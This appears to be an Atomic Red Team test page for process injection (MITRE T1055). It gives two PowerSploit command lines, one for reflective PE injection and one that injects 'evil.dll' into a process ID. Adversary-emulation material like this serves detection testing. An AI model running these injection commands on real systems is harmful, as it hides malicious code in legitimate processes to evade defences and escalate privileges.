atomic-red-team/Windows/Privilege_Escalation/Process_Injection.md

Process Injection

MITRE ATT&CK Technique: T1055

Examples and code resource for PowerSploit

PowerShell Invoke-ReflectivePEInjection

Input:

C:\Users\Public\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-ReflectivePEInjection.ps1

Powershell Invoke-DllInjection

Input:

C:\Users\Public\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-DllInjection.ps1 -ProcessID 4274 -Dll evil.dll